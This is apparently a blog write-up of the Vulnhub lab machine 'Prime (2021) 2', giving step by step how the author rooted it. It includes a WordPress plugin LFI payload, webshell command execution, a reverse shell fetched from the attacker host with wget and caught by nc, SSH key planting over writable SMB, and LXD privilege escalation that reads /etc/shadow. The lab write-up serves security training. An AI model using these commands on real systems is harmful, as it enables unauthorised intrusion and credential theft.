Prime (2021) 2: Walkthrough – Vulnhub – Writeup

This post, Prime (2021) 2: Walkthrough – Vulnhub – Writeup will describe the steps that I performed to root the machine by Suraj. However, I have to say that the machine didn’t work on my virtual box but VMWare.

Link to the machine: https://www.vulnhub.com/entry/prime-2021-2,696/

Check the harry potter series as well.

Identify target

Firstly, I identified the target and open ports using netdiscover and nmap.

sudo netdiscover -i eth0 -r 192.168.19.0/24
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.19.135

Here, in python server, we can browse the home directory of a user whereas on apache server, there is just a simple website. Now, I can view the contents of one server and do the directory enumeration on another.

View the contents

curl http://192.168.19.135:10123/.bash_history
curl http://192.168.19.135:10123/something
curl http://192.168.19.135:10123/upload/shell.php

From the screenshot above, we can say that the directory we were browsing belongs to jarvis. Likewise, there is a PHP file that allows executing shell commands using GET parameter ‘cmd’. Hence, we can anticipate that there might be a local file inclusion vulnerability on the apache server.

Thus, I did directory enumeration in the apache server.

gobuster dir -u http://192.168.19.135 -x html,txt,php --wordlist=/usr/share/wordlists/dirb/common.txt

I found an installation of wordpress on the path /wp.

Enumerate wordpress

Now that I know the website is running wordpress, I can enumerate it using wpscan.

# replace WPSCAN_KEY with your api token of WPSCAN
wpscan --api-token $WPSCAN_KEY --url http://192.168.19.135/wp --detection-mode aggressive -e 

Finally, I confirmed that there is a LFI vulnerability in one of the used plugins. Subsequently, I visited the links from the reference for the proof of concept.

curl 'http://192.168.19.135/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd'

Local File Inclusion

The vulnerability works and I can run the shell.php that we saw earlier in the python server. Now, on firefox, I view tried executing the commands.

view-source:http://192.168.19.135/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=ls -al

Although the target has nc installed, I couldn’t get reverse shell from there. So, I decided to copy the webshell to the target and invoke it.

On local machine:

cp /usr/share/webshells/php/php-reverse-shell.php shell.php
vi shell.php
python3 -m http.server

I listened on the port for the reverse shell whereas I downloaded my shell.php to the /tmp directory.

# On local machine:
nc -nlvp 4444
# On firefox, replace the cmd parameter's value as
wget http://192.168.19.132:8000/shell.php -O /tmp/shell.php # that's my IP

Then, I invoked the shell using the same vulnerability.

Finally, I got the reverse shell. Now, we have to find the user’s credentials and switch to his home directory.

Getting user’s access

I have to give you a sad news now. Although, we got reverse shell, it was all a rabbit hole. I discovered this after using tools like linpeas.sh and LinEnum.sh. However, I looked the smb configuration file to see if it allows anonymous access.

cat /etc/samba/smb.conf

Now, we can list the shares by the following commands.

smbclient -N -L \\\\192.168.19.135\\
smbclient -N  \\\\192.168.19.135\\welcome 

Now, I will see if I have write access on the disk.

It looks like, we can write on the home directory of the user jarves. Therefore, I will add my own ssh public key into authorized_keys of jarves.

Add public key

Now, I can add my public key to a file in the local machine and copy that file using smbclient.

cat .ssh/id_rsa.pub
echo __your_public_key__ > authorized_keys

On smbclient, the sytax to download the file to remote machine is as follows:

put local_file remote_file

Finally, I can login using ssh.

ssh jarves@192.168.19.135 -i ~/.ssh/id_rsa

Privilege escalation

Finally, I can now work on privilege escalation part. When I looked into the id, I saw that the user belongs to a group lxd.

https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation. This link provides the details on the escalation. I used method 1 for this.

# Install dependencies
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
go get -d -v github.com/lxc/distrobuilder 
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make 
#Prepare the creation of alpine       
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/      
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo /home/kali/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
python3 -m http.server

On the target machine:

wget http://192.168.19.132:8000/lxd.tar.xz
wget http://192.168.19.132:8000/rootfs.squashfs
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
lxc init alpine privesc -c security.privileged=true
lxc list #List containers

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

This is the root of the current container. To find the container of the host machine, we have to change directory to /mnt/root.

cd /mnt/root
cat etc/shadow # we can view the shadow file of the host

Conclusion

This machine gave me a mixed feeling. When I started doing this machine, I thought it’s quite easy because everything was going well. However, I forgot to check if anonymous access to the SMB server is allowed or not. Therefore, we should never overlook any information that is available to us. If I had checked the SMB client before diving deeper, I would have saved a lot of time of mine and yours. See you in the next post.

Leave a comment